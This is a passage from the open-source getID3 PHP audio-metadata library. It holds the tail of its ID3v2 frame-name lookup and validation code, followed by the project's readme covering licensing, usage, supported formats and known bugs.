			UFID	Unique file identifier
			ULT	Unsynchronised lyric/text transcription
			USER	Terms of use
			USLT	Unsynchronised lyric/text transcription
			WAF	Official audio file webpage
			WAR	Official artist/performer webpage
			WAS	Official audio source webpage
			WCM	Commercial information
			WCOM	Commercial information
			WCOP	Copyright/Legal information
			WCP	Copyright/Legal information
			WOAF	Official audio file webpage
			WOAR	Official artist/performer webpage
			WOAS	Official audio source webpage
			WORS	Official Internet radio station homepage
			WPAY	Payment
			WPB	Publishers official webpage
			WPUB	Publishers official webpage
			WXX	User defined URL link frame
			WXXX	User defined URL link frame
			TFEA	Featured Artist
			TSTU	Recording Studio
			rgad	Replay Gain Adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_long');

		// Last three:
		// from Helium2 [www.helium2.com]
		// from http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
	}

	/**
	 * @param string $framename
	 *
	 * @return string
	 */
	public static function FrameNameShortLookup($framename) {

		$begin = __LINE__;

		/** This is not a comment!

			AENC	audio_encryption
			APIC	attached_picture
			ASPI	audio_seek_point_index
			BUF	recommended_buffer_size
			CNT	play_counter
			COM	comment
			COMM	comment
			COMR	commercial_frame
			CRA	audio_encryption
			CRM	encrypted_meta_frame
			ENCR	encryption_method_registration
			EQU	equalisation
			EQU2	equalisation
			EQUA	equalisation
			ETC	event_timing_codes
			ETCO	event_timing_codes
			GEO	general_encapsulated_object
			GEOB	general_encapsulated_object
			GRID	group_identification_registration
			IPL	involved_people_list
			IPLS	involved_people_list
			LINK	linked_information
			LNK	linked_information
			MCDI	music_cd_identifier
			MCI	music_cd_identifier
			MLL	mpeg_location_lookup_table
			MLLT	mpeg_location_lookup_table
			OWNE	ownership_frame
			PCNT	play_counter
			PIC	attached_picture
			POP	popularimeter
			POPM	popularimeter
			POSS	position_synchronisation_frame
			PRIV	private_frame
			RBUF	recommended_buffer_size
			REV	reverb
			RVA	relative_volume_adjustment
			RVA2	relative_volume_adjustment
			RVAD	relative_volume_adjustment
			RVRB	reverb
			SEEK	seek_frame
			SIGN	signature_frame
			SLT	synchronised_lyric
			STC	synced_tempo_codes
			SYLT	synchronised_lyric
			SYTC	synchronised_tempo_codes
			TAL	album
			TALB	album
			TBP	bpm
			TBPM	bpm
			TCM	composer
			TCMP	part_of_a_compilation
			TCO	genre
			TCOM	composer
			TCON	genre
			TCOP	copyright_message
			TCP	part_of_a_compilation
			TCR	copyright_message
			TDA	date
			TDAT	date
			TDEN	encoding_time
			TDLY	playlist_delay
			TDOR	original_release_time
			TDRC	recording_time
			TDRL	release_time
			TDTG	tagging_time
			TDY	playlist_delay
			TEN	encoded_by
			TENC	encoded_by
			TEXT	lyricist
			TFLT	file_type
			TFT	file_type
			TIM	time
			TIME	time
			TIPL	involved_people_list
			TIT1	content_group_description
			TIT2	title
			TIT3	subtitle
			TKE	initial_key
			TKEY	initial_key
			TLA	language
			TLAN	language
			TLE	length
			TLEN	length
			TMCL	musician_credits_list
			TMED	media_type
			TMOO	mood
			TMT	media_type
			TOA	original_artist
			TOAL	original_album
			TOF	original_filename
			TOFN	original_filename
			TOL	original_lyricist
			TOLY	original_lyricist
			TOPE	original_artist
			TOR	original_year
			TORY	original_year
			TOT	original_album
			TOWN	file_owner
			TP1	artist
			TP2	band
			TP3	conductor
			TP4	remixer
			TPA	part_of_a_set
			TPB	publisher
			TPE1	artist
			TPE2	band
			TPE3	conductor
			TPE4	remixer
			TPOS	part_of_a_set
			TPRO	produced_notice
			TPUB	publisher
			TRC	isrc
			TRCK	track_number
			TRD	recording_dates
			TRDA	recording_dates
			TRK	track_number
			TRSN	internet_radio_station_name
			TRSO	internet_radio_station_owner
			TS2	album_artist_sort_order
			TSA	album_sort_order
			TSC	composer_sort_order
			TSI	size
			TSIZ	size
			TSO2	album_artist_sort_order
			TSOA	album_sort_order
			TSOC	composer_sort_order
			TSOP	performer_sort_order
			TSOT	title_sort_order
			TSP	performer_sort_order
			TSRC	isrc
			TSS	encoder_settings
			TSSE	encoder_settings
			TSST	set_subtitle
			TST	title_sort_order
			TT1	content_group_description
			TT2	title
			TT3	subtitle
			TXT	lyricist
			TXX	text
			TXXX	text
			TYE	year
			TYER	year
			UFI	unique_file_identifier
			UFID	unique_file_identifier
			ULT	unsynchronised_lyric
			USER	terms_of_use
			USLT	unsynchronised_lyric
			WAF	url_file
			WAR	url_artist
			WAS	url_source
			WCM	commercial_information
			WCOM	commercial_information
			WCOP	copyright
			WCP	copyright
			WOAF	url_file
			WOAR	url_artist
			WOAS	url_source
			WORS	url_station
			WPAY	url_payment
			WPB	url_publisher
			WPUB	url_publisher
			WXX	url_user
			WXXX	url_user
			TFEA	featured_artist
			TSTU	recording_studio
			rgad	replay_gain_adjustment

		*/

		return getid3_lib::EmbeddedLookup($framename, $begin, __LINE__, __FILE__, 'id3v2-framename_short');
	}

	/**
	 * @param string $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingTerminatorLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingTerminatorLookup = array(
			0   => "\x00",     // $00  ISO-8859-1. Terminated with $00.
			1   => "\x00\x00", // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => "\x00\x00", // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => "\x00",     // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => "\x00\x00"
		);
		return (isset($TextEncodingTerminatorLookup[$encoding]) ? $TextEncodingTerminatorLookup[$encoding] : "\x00");
	}

	/**
	 * @param int $encoding
	 *
	 * @return string
	 */
	public static function TextEncodingNameLookup($encoding) {
		// http://www.id3.org/id3v2.4.0-structure.txt
		// Frames that allow different types of text encoding contains a text encoding description byte. Possible encodings:
		static $TextEncodingNameLookup = array(
			0   => 'ISO-8859-1', // $00  ISO-8859-1. Terminated with $00.
			1   => 'UTF-16',     // $01  UTF-16 encoded Unicode with BOM. All strings in the same frame SHALL have the same byteorder. Terminated with $00 00.
			2   => 'UTF-16BE',   // $02  UTF-16BE encoded Unicode without BOM. Terminated with $00 00.
			3   => 'UTF-8',      // $03  UTF-8 encoded Unicode. Terminated with $00.
			255 => 'UTF-16BE'
		);
		return (isset($TextEncodingNameLookup[$encoding]) ? $TextEncodingNameLookup[$encoding] : 'ISO-8859-1');
	}

	/**
	 * @param string $string
	 * @param string $terminator
	 *
	 * @return string
	 */
	public static function RemoveStringTerminator($string, $terminator) {
		// Null terminator at end of comment string is somewhat ambiguous in the specification, may or may not be implemented by various taggers. Remove terminator only if present.
		// https://github.com/JamesHeinrich/getID3/issues/121
		// https://community.mp3tag.de/t/x-trailing-nulls-in-id3v2-comments/19227
		if (substr($string, -strlen($terminator), strlen($terminator)) === $terminator) {
			$string = substr($string, 0, -strlen($terminator));
		}
		return $string;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function MakeUTF16emptyStringEmpty($string) {
		if (in_array($string, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
			// if string only contains a BOM or terminator then make it actually an empty string
			$string = '';
		}
		return $string;
	}

	/**
	 * @param string $framename
	 * @param int    $id3v2majorversion
	 *
	 * @return bool|int
	 */
	public static function IsValidID3v2FrameName($framename, $id3v2majorversion) {
		switch ($id3v2majorversion) {
			case 2:
				return preg_match('#[A-Z][A-Z0-9]{2}#', $framename);

			case 3:
			case 4:
				return preg_match('#[A-Z][A-Z0-9]{3}#', $framename);
		}
		return false;
	}

	/**
	 * @param string $numberstring
	 * @param bool   $allowdecimal
	 * @param bool   $allownegative
	 *
	 * @return bool
	 */
	public static function IsANumber($numberstring, $allowdecimal=false, $allownegative=false) {
		$pattern  = '#^';
		$pattern .= ($allownegative ? '\\-?' : '');
		$pattern .= '[0-9]+';
		$pattern .= ($allowdecimal  ? '(\\.[0-9]+)?' : '');
		$pattern .= '$#';
		return preg_match($pattern, $numberstring);
	}

	/**
	 * @param string $datestamp
	 *
	 * @return bool
	 */
	public static function IsValidDateStampString($datestamp) {
		if (!preg_match('#^[12][0-9]{3}[01][0-9][0123][0-9]$#', $datestamp)) {
			return false;
		}
		$year  = substr($datestamp, 0, 4);
		$month = substr($datestamp, 4, 2);
		$day   = substr($datestamp, 6, 2);
		if (($year == 0) || ($month == 0) || ($day == 0)) {
			return false;
		}
		if ($month > 12) {
			return false;
		}
		if ($day > 31) {
			return false;
		}
		if (($day > 30) && (($month == 4) || ($month == 6) || ($month == 9) || ($month == 11))) {
			return false;
		}
		if (($day > 29) && ($month == 2)) {
			return false;
		}
		return true;
	}

	/**
	 * @param int $majorversion
	 *
	 * @return int
	 */
	public static function ID3v2HeaderLength($majorversion) {
		return (($majorversion == 2) ? 6 : 10);
	}

	/**
	 * @param string $frame_name
	 *
	 * @return string|false
	 */
	public static function ID3v22iTunesBrokenFrameName($frame_name) {
		// iTunes (multiple versions) has been known to write ID3v2.3 style frames
		// but use ID3v2.2 frame names, right-padded using either [space] or [null]
		// to make them fit in the 4-byte frame name space of the ID3v2.3 frame.
		// This function will detect and translate the corrupt frame name into ID3v2.3 standard.
		static $ID3v22_iTunes_BrokenFrames = array(
			'BUF' => 'RBUF', // Recommended buffer size
			'CNT' => 'PCNT', // Play counter
			'COM' => 'COMM', // Comments
			'CRA' => 'AENC', // Audio encryption
			'EQU' => 'EQUA', // Equalisation
			'ETC' => 'ETCO', // Event timing codes
			'GEO' => 'GEOB', // General encapsulated object
			'IPL' => 'IPLS', // Involved people list
			'LNK' => 'LINK', // Linked information
			'MCI' => 'MCDI', // Music CD identifier
			'MLL' => 'MLLT', // MPEG location lookup table
			'PIC' => 'APIC', // Attached picture
			'POP' => 'POPM', // Popularimeter
			'REV' => 'RVRB', // Reverb
			'RVA' => 'RVAD', // Relative volume adjustment
			'SLT' => 'SYLT', // Synchronised lyric/text
			'STC' => 'SYTC', // Synchronised tempo codes
			'TAL' => 'TALB', // Album/Movie/Show title
			'TBP' => 'TBPM', // BPM (beats per minute)
			'TCM' => 'TCOM', // Composer
			'TCO' => 'TCON', // Content type
			'TCP' => 'TCMP', // Part of a compilation
			'TCR' => 'TCOP', // Copyright message
			'TDA' => 'TDAT', // Date
			'TDY' => 'TDLY', // Playlist delay
			'TEN' => 'TENC', // Encoded by
			'TFT' => 'TFLT', // File type
			'TIM' => 'TIME', // Time
			'TKE' => 'TKEY', // Initial key
			'TLA' => 'TLAN', // Language(s)
			'TLE' => 'TLEN', // Length
			'TMT' => 'TMED', // Media type
			'TOA' => 'TOPE', // Original artist(s)/performer(s)
			'TOF' => 'TOFN', // Original filename
			'TOL' => 'TOLY', // Original lyricist(s)/text writer(s)
			'TOR' => 'TORY', // Original release year
			'TOT' => 'TOAL', // Original album/movie/show title
			'TP1' => 'TPE1', // Lead performer(s)/Soloist(s)
			'TP2' => 'TPE2', // Band/orchestra/accompaniment
			'TP3' => 'TPE3', // Conductor/performer refinement
			'TP4' => 'TPE4', // Interpreted, remixed, or otherwise modified by
			'TPA' => 'TPOS', // Part of a set
			'TPB' => 'TPUB', // Publisher
			'TRC' => 'TSRC', // ISRC (international standard recording code)
			'TRD' => 'TRDA', // Recording dates
			'TRK' => 'TRCK', // Track number/Position in set
			'TS2' => 'TSO2', // Album-Artist sort order
			'TSA' => 'TSOA', // Album sort order
			'TSC' => 'TSOC', // Composer sort order
			'TSI' => 'TSIZ', // Size
			'TSP' => 'TSOP', // Performer sort order
			'TSS' => 'TSSE', // Software/Hardware and settings used for encoding
			'TST' => 'TSOT', // Title sort order
			'TT1' => 'TIT1', // Content group description
			'TT2' => 'TIT2', // Title/songname/content description
			'TT3' => 'TIT3', // Subtitle/Description refinement
			'TXT' => 'TEXT', // Lyricist/Text writer
			'TXX' => 'TXXX', // User defined text information frame
			'TYE' => 'TYER', // Year
			'UFI' => 'UFID', // Unique file identifier
			'ULT' => 'USLT', // Unsynchronised lyric/text transcription
			'WAF' => 'WOAF', // Official audio file webpage
			'WAR' => 'WOAR', // Official artist/performer webpage
			'WAS' => 'WOAS', // Official audio source webpage
			'WCM' => 'WCOM', // Commercial information
			'WCP' => 'WCOP', // Copyright/Legal information
			'WPB' => 'WPUB', // Publishers official webpage
			'WXX' => 'WXXX', // User defined URL link frame
		);
		if (strlen($frame_name) == 4) {
			if ((substr($frame_name, 3, 1) == ' ') || (substr($frame_name, 3, 1) == "\x00")) {
				if (isset($ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)])) {
					return $ID3v22_iTunes_BrokenFrames[substr($frame_name, 0, 3)];
				}
			}
		}
		return false;
	}

}

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at http://getid3.sourceforge.net                 //
//            or https://www.getid3.org                        //
//          also https://github.com/JamesHeinrich/getID3       //
/////////////////////////////////////////////////////////////////

*****************************************************************
*****************************************************************

   getID3() is released under multiple licenses. You may choose
   from the following licenses, and use getID3 according to the
   terms of the license most suitable to your project.

GNU GPL: https://gnu.org/licenses/gpl.html                   (v3)
         https://gnu.org/licenses/old-licenses/gpl-2.0.html  (v2)
         https://gnu.org/licenses/old-licenses/gpl-1.0.html  (v1)

GNU LGPL: https://gnu.org/licenses/lgpl.html                 (v3)

Mozilla MPL: https://www.mozilla.org/MPL/2.0/                (v2)

getID3 Commercial License: https://www.getid3.org/#gCL
(no longer available, existing licenses remain valid)

*****************************************************************
*****************************************************************
Copies of each of the above licenses are included in the 'licenses'
directory of the getID3 distribution.


       +----------------------------------------------+
       | If you want to donate, there is a link on    |
       | https://www.getid3.org for PayPal donations. |
       +----------------------------------------------+


Quick Start
===========================================================================

Q: How can I check that getID3() works on my server/files?
A: Unzip getID3() to a directory, then access /demos/demo.browse.php



Support
===========================================================================

Q: I have a question, or I found a bug. What do I do?
A: The preferred method of support requests and/or bug reports is the
   forum at http://support.getid3.org/



Sourceforge Notification
===========================================================================

It's highly recommended that you sign up for notification from
Sourceforge for when new versions are released. Please visit:
http://sourceforge.net/project/showfiles.php?group_id=55859
and click the little "monitor package" icon/link.  If you're
previously signed up for the mailing list, be aware that it has
been discontinued, only the automated Sourceforge notification
will be used from now on.



What does getID3() do?
===========================================================================

Reads & parses (to varying degrees):
 ¤ tags:
  * APE (v1 and v2)
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.4, v2.3, v2.2)
  * Lyrics3 (v1 & v2)

 ¤ audio-lossy:
  * MP3/MP2/MP1
  * MPC / Musepack
  * Ogg (Vorbis, OggFLAC, Speex, Opus)
  * AAC / MP4
  * AC3
  * DTS
  * RealAudio
  * Speex
  * DSS
  * VQF

 ¤ audio-lossless:
  * AIFF
  * AU
  * Bonk
  * CD-audio (*.cda)
  * FLAC
  * LA (Lossless Audio)
  * LiteWave
  * LPAC
  * MIDI
  * Monkey's Audio
  * OptimFROG
  * RKAU
  * Shorten
  * TTA
  * VOC
  * WAV (RIFF)
  * WavPack

 ¤ audio-video:
  * ASF: ASF, Windows Media Audio (WMA), Windows Media Video (WMV)
  * AVI (RIFF)
  * Flash
  * Matroska (MKV)
  * MPEG-1 / MPEG-2
  * NSV (Nullsoft Streaming Video)
  * Quicktime (including MP4)
  * RealVideo

 ¤ still image:
  * BMP
  * GIF
  * JPEG
  * PNG
  * TIFF
  * SWF (Flash)
  * PhotoCD

 ¤ data:
  * ISO-9660 CD-ROM image (directory structure)
  * SZIP (limited support)
  * ZIP (directory structure)
  * TAR
  * CUE


Writes:
  * ID3v1 (& ID3v1.1)
  * ID3v2 (v2.3 & v2.4)
  * VorbisComment on OggVorbis
  * VorbisComment on FLAC (not OggFLAC)
  * APE v2
  * Lyrics3 (delete only)



Requirements
===========================================================================

* PHP 4.2.0 up to 5.2.x for getID3() 1.7.x  (and earlier)
* PHP 5.0.5 (or higher) for getID3() 1.8.x  (and up)
* PHP 5.3.0 (or higher) for getID3() 1.9.17 (and up)
* PHP 5.3.0 (or higher) for getID3() 2.0.x  (and up)
* at least 4MB memory for PHP. 8MB or more is highly recommended.
  12MB is required with all modules loaded.



Usage
===========================================================================

See /demos/demo.basic.php for a very basic use of getID3() with no
fancy output, just scanning one file.

See structure.txt for the returned data structure.

*>  For an example of a complete directory-browsing,       <*
*>  file-scanning implementation of getID3(), please run   <*
*>  /demos/demo.browse.php                                 <*

See /demos/demo.mysql.php for a sample recursive scanning code that
scans every file in a given directory, and all sub-directories, stores
the results in a database and allows various analysis / maintenance
operations

To analyze remote files over HTTP or FTP you need to copy the file
locally first before running getID3(). Your code would look something
like this:

// Copy remote file locally to scan with getID3()
$remotefilename = 'http://www.example.com/filename.mp3';
if ($fp_remote = fopen($remotefilename, 'rb')) {
	$localtempfilename = tempnam('/tmp', 'getID3');
	if ($fp_local = fopen($localtempfilename, 'wb')) {
		while ($buffer = fread($fp_remote, 32768)) {
			fwrite($fp_local, $buffer);
		}
		fclose($fp_local);

		$remote_headers = array_change_key_case(get_headers($remotefilename, 1), CASE_LOWER);
		$remote_filesize = (isset($remote_headers['content-length']) ? (is_array($remote_headers['content-length']) ? $remote_headers['content-length'][count($remote_headers['content-length']) - 1] : $remote_headers['content-length']) : null);

		// Initialize getID3 engine
		$getID3 = new getID3;

		$ThisFileInfo = $getID3->analyze($localtempfilename, $remote_filesize, basename($remotefilename));

		// Delete temporary file
		unlink($localtempfilename);
	}
	fclose($fp_remote);
}

Note: since v1.9.9-20150212 it is possible a second and third parameter
to $getID3->analyze(), for original filesize and original filename
respectively. This permits you to download only a portion of a large remote
file but get accurate playtime estimates, assuming the format only requires
the beginning of the file for correct format analysis.

See /demos/demo.write.php for how to write tags.



What does the returned data structure look like?
===========================================================================

See structure.txt

It is recommended that you look at the output of
/demos/demo.browse.php scanning the file(s) you're interested in to
confirm what data is actually returned for any particular filetype in
general, and your files in particular, as the actual data returned
may vary considerably depending on what information is available in
the file itself.



Notes
===========================================================================

getID3() 1.x:
If the format parser encounters a critical problem, it will return
something in $fileinfo['error'], describing the encountered error. If
a less critical error or notice is generated it will appear in
$fileinfo['warning']. Both keys may contain more than one warning or
error. If something is returned in ['error'] then the file was not
correctly parsed and returned data may or may not be correct and/or
complete. If something is returned in ['warning'] (and not ['error'])
then the data that is returned is OK - usually getID3() is reporting
errors in the file that have been worked around due to known bugs in
other programs. Some warnings may indicate that the data that is
returned is OK but that some data could not be extracted due to
errors in the file.

getID3() 2.x:
See above except errors are thrown (so you will only get one error).



Disclaimer
===========================================================================

getID3() has been tested on many systems, on many types of files,
under many operating systems, and is generally believe to be stable
and safe. That being said, there is still the chance there is an
undiscovered and/or unfixed bug that may potentially corrupt your
file, especially within the writing functions. By using getID3() you
agree that it's not my fault if any of your files are corrupted.
In fact, I'm not liable for anything :)



License
===========================================================================

GNU General Public License - see license.txt

This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to:
Free Software Foundation, Inc.
59 Temple Place - Suite 330
Boston, MA  02111-1307, USA.

FAQ:
Q: Can I use getID3() in my program? Do I need a commercial license?
A: You're generally free to use getID3 however you see fit. The only
   case in which you would require a commercial license is if you're
   selling your closed-source program that integrates getID3. If you
   sell your program including a copy of getID3, that's fine as long
   as you include a copy of the sourcecode when you sell it.  Or you
   can distribute your code without getID3 and say "download it from
   getid3.sourceforge.net"



Why is it called "getID3()" if it does so much more than just that?
===========================================================================

v0.1 did in fact just do that. I don't have a copy of code that old, but I
could essentially write it today with a one-line function:
  function getID3($filename) { return unpack('a3TAG/a30title/a30artist/a30album/a4year/a28comment/c1track/c1genreid', substr(file_get_contents($filename), -128)); }


Future Plans
===========================================================================
https://www.getid3.org/phpBB3/viewforum.php?f=7

* Better support for MP4 container format
* Scan for appended ID3v2 tag at end of file per ID3v2.4 specs (Section 5.0)
* Support for JPEG-2000 (http://www.morgan-multimedia.com/jpeg2000_overview.htm)
* Support for MOD (mod/stm/s3m/it/xm/mtm/ult/669)
* Support for ACE (thanks Vince)
* Support for Ogg other than Vorbis, Speex and OggFlac (ie. Ogg+Xvid)
* Ability to create Xing/LAME VBR header for VBR MP3s that are missing VBR header
* Ability to "clean" ID3v2 padding (replace invalid padding with valid padding)
* Warn if MP3s change version mid-stream (in full-scan mode)
* check for corrupt/broken mid-file MP3 streams in histogram scan
* Support for lossless-compression formats
  (http://www.firstpr.com.au/audiocomp/lossless/#Links)
  (http://compression.ca/act-sound.html)
  (http://web.inter.nl.net/users/hvdh/lossless/lossless.htm)
* Support for RIFF-INFO chunks
  * http://lotto.st-andrews.ac.uk/~njh/tag_interchange.html
    (thanks Nick Humfrey <njhØsurgeradio*co*uk>)
  * http://abcavi.narod.ru/sof/abcavi/infotags.htm
    (thanks Kibi)
* Better support for Bink video
* http://www.hr/josip/DSP/AudioFile2.html
* http://www.pcisys.net/~melanson/codecs/
* Detect mp3PRO
* Support for PSD
* Support for JPC
* Support for JP2
* Support for JPX
* Support for JB2
* Support for IFF
* Support for ICO
* Support for ANI
* Support for EXE (comments, author, etc) (thanks p*quaedackersØplanet*nl)
* Support for DVD-IFO (region, subtitles, aspect ratio, etc)
  (thanks p*quaedackersØplanet*nl)
* More complete support for SWF - parsing encapsulated MP3 and/or JPEG content
    (thanks n8n8Øyahoo*com)
* Support for a2b
* Optional scan-through-frames for AVI verification
  (thanks rockcohenØmassive-interactive*nl)
* Support for TTF (thanks infoØbutterflyx*com)
* Support for DSS (https://www.getid3.org/phpBB3/viewtopic.php?t=171)
* Support for SMAF (http://smaf-yamaha.com/what/demo.html)
  https://www.getid3.org/phpBB3/viewtopic.php?t=182
* Support for AMR (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for 3gpp (https://www.getid3.org/phpBB3/viewtopic.php?t=195)
* Support for ID4 (http://www.wackysoft.cjb.net grizlyY2KØhotmail*com)
* Parse XML data returned in Ogg comments
* Parse XML data from Quicktime SMIL metafiles (klausrathØmac*com)
* ID3v2 genre string creator function
* More complete parsing of JPG
* Support for all old-style ASF packets
* ASF/WMA/WMV tag writing
* Parse declared T??? ID3v2 text information frames, where appropriate
    (thanks Christian Fritz for the idea)
* Recognize encoder:
  http://www.guerillasoft.com/EncSpot2/index.html
  http://ff123.net/identify.html
  http://www.hydrogenaudio.org/?act=ST&f=16&t=9414
  http://www.hydrogenaudio.org/?showtopic=11785
* Support for other OS/2 bitmap structures: Bitmap Array('BA'),
  Color Icon('CI'), Color Pointer('CP'), Icon('IC'), Pointer ('PT')
  http://netghost.narod.ru/gff/graphics/summary/os2bmp.htm
* Support for WavPack RAW mode
* ASF/WMA/WMV data packet parsing
* ID3v2FrameFlagsLookupTagAlter()
* ID3v2FrameFlagsLookupFileAlter()
* obey ID3v2 tag alter/preserve/discard rules
* http://www.geocities.com/SiliconValley/Sector/9654/Softdoc/Illyrium/Aolyr.htm
* proper checking for LINK/LNK frame validity in ID3v2 writing
* proper checking for ASPI-TLEN frame validity in ID3v2 writing
* proper checking for COMR frame validity in ID3v2 writing
* http://www.geocities.co.jp/SiliconValley-Oakland/3664/index.html
* decode GEOB ID3v2 structure as encoded by RealJukebox,
  decode NCON ID3v2 structure as encoded by MusicMatch
  (probably won't happen - the formats are proprietary)



Known Bugs/Issues in getID3() that may be fixed eventually
===========================================================================
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* Cannot determine bitrate for MPEG video with VBR video data
  (need documentation)
* Interlace/progressive cannot be determined for MPEG video
  (need documentation)
* MIDI playtime is sometimes inaccurate
* AAC-RAW mode files cannot be identified
* WavPack-RAW mode files cannot be identified
* mp4 files report lots of "Unknown QuickTime atom type"
   (need documentation)
* Encrypted ASF/WMA/WMV files warn about "unhandled GUID
  ASF_Content_Encryption_Object"
* Bitrate split between audio and video cannot be calculated for
  NSV, only the total bitrate. (need documentation)
* All Ogg formats (Vorbis, OggFLAC, Speex) are affected by the
  problem of large VorbisComments spanning multiple Ogg pages, but
  but only OggVorbis files can be processed with vorbiscomment.
* The version of "head" supplied with Mac OS 10.2.8 (maybe other
  versions too) does only understands a single option (-n) and
  therefore fails. getID3 ignores this and returns wrong md5_data.



Known Bugs/Issues in getID3() that cannot be fixed
--------------------------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* 32-bit PHP installations only:
  Files larger than 2GB cannot always be parsed fully by getID3()
  due to limitations in the 32-bit PHP filesystem functions.
  NOTE: Since v1.7.8b3 there is partial support for larger-than-
  2GB files, most of which will parse OK, as long as no critical
  data is located beyond the 2GB offset.
  Known will-work:
  * all file formats on 64-bit PHP
  * ZIP  (format doesn't support files >2GB)
  * FLAC (current encoders don't support files >2GB)
  Known will-not-work:
  * ID3v1 tags (always located at end-of-file)
  * Lyrics3 tags (always located at end-of-file)
  * APE tags (always located at end-of-file)
  Maybe-will-work:
  * Quicktime (will work if needed metadata is before 2GB offset,
    that is if the file has been hinted/optimized for streaming)
  * RIFF.WAV (should work fine, but gives warnings about not being
    able to parse all chunks)
  * RIFF.AVI (playtime will probably be wrong, is only based on
    "movi" chunk that fits in the first 2GB, should issue error
    to show that playtime is incorrect. Other data should be mostly
    correct, assuming that data is constant throughout the file)
* PHP <= v5 on Windows cannot read UTF-8 filenames


Known Bugs/Issues in other programs
-----------------------------------
https://www.getid3.org/phpBB3/viewtopic.php?t=25

* MusicBrainz Picard (at least up to v1.3.2) writes multiple
  ID3v2.3 genres in non-standard forward-slash separated text
  rather than parenthesis-numeric+refinement style per the ID3v2.3
  specs. Tags written in ID3v2.4 mode are written correctly.
  (detected and worked around by getID3())
* PZ TagEditor v4.53.408 has been known to insert ID3v2.3 frames
  into an existing ID3v2.2 tag which, of course, breaks things
* Windows Media Player (up to v11) and iTunes (up to v10+) do
    not correctly handle ID3v2.3 tags with UTF-16BE+BOM
    encoding (they assume the data is UTF-16LE+BOM and either
    crash (WMP) or output Asian character set (iTunes)
* Winamp (up to v2.80 at least) does not support ID3v2.4 tags,
    only ID3v2.3
    see: http://forums.winamp.com/showthread.php?postid=387524
* Some versions of Helium2 (www.helium2.com) do not write
    ID3v2.4-compliant Frame Sizes, even though the tag is marked
    as ID3v2.4)  (detected by getID3())
* MP3ext V3.3.17 places a non-compliant padding string at the end
    of the ID3v2 header. This is supposedly fixed in v3.4b21 but
    only if you manually add a registry key. This fix is not yet
    confirmed.  (detected by getID3())
* CDex v1.40 (fixed by v1.50b7) writes non-compliant Ogg comment
    strings, supposed to be in the format "NAME=value" but actually
    written just "value"  (detected by getID3())
* Oggenc 0.9-rc3 flags the encoded file as ABR whether it's
    actually ABR or VBR.
* iTunes (versions "v7.0.0.70" is known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using an
    ID3v2.2 frame name (3-bytes) null-padded to 4 bytes which is
    not valid for ID3v2.3+
    (detected by getID3() since 1.9.12-201603221746)
* iTunes (versions "X v2.0.3", "v3.0.1" are known-guilty, probably
    other versions are too) writes ID3v2.3 comment tags using a
    frame name 'COM ' which is not valid for ID3v2.3+ (it's an
    ID3v2.2-style frame name)  (detected by getID3())
* MP2enc does not encode mono CBR MP2 files properly (half speed
    sound and double playtime)
* MP2enc does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* tooLAME does not encode mono VBR MP2 files properly (actually
    encoded as stereo)
* AACenc encodes files in VBR mode (actually ABR) even if CBR is
   specified
* AAC/ADIF - bitrate_mode = cbr for vbr files
* LAME 3.90-3.92 prepends one frame of null data (space for the
  LAME/VBR header, but it never gets written) when encoding in CBR
  mode with the DLL
* Ahead Nero encodes TwinVQF with a DSIZ value (which is supposed
  to be the filesize in bytes) of "0" for TwinVQF v1.0 and "1" for
  TwinVQF v2.0  (detected by getID3())
* Ahead Nero encodes TwinVQF files 1 second shorter than they
  should be
* AAC-ADTS files are always actually encoded VBR, even if CBR mode
  is specified (the CBR-mode switches on the encoder enable ABR
  mode, not CBR as such, but it's not possible to tell the
  difference between such ABR files and true VBR)
* STREAMINFO.audio_signature in OggFLAC is always null. "The reason
  it's like that is because there is no seeking support in
  libOggFLAC yet, so it has no way to go back and write the
  computed sum after encoding. Seeking support in Ogg FLAC is the
  #1 item for the next release." - Josh Coalson (FLAC developer)
  NOTE: getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC data in a FLAC file format.
* STREAMINFO.audio_signature is not calculated in FLAC v0.3.0 &
  v0.4.0 - getID3() will calculate md5_data in a method similar to
  other file formats, but that value cannot be compared to the
  md5_data value from FLAC v0.5.0+
* RioPort (various versions including 2.0 and 3.11) tags ID3v2 with
  a WCOM frame that has no data portion
* Earlier versions of Coolplayer adds illegal ID3 tags to Ogg Vorbis
  files, thus making them corrupt.
* Meracl ID3 Tag Writer v1.3.4 (and older) incorrectly truncates the
  last byte of data from an MP3 file when appending a new ID3v1 tag.
  (detected by getID3())
* Lossless-Audio files encoded with and without the -noseek switch
  do actually differ internally and therefore cannot match md5_data
* iTunes has been known to append a new ID3v1 tag on the end of an
  existing ID3v1 tag when ID3v2 tag is also present
  (detected by getID3())
* MediaMonkey may write a blank RGAD ID3v2 frame but put actual
  replay gain adjustments in a series of user-defined TXXX frames
  (detected and handled by getID3() since v1.9.2)




Reference material:
===========================================================================

[www.id3.org material now mirrored at http://id3lib.sourceforge.net/id3/]
* http://www.id3.org/id3v2.4.0-structure.txt
* http://www.id3.org/id3v2.4.0-frames.txt
* http://www.id3.org/id3v2.4.0-changes.txt
* http://www.id3.org/id3v2.3.0.txt
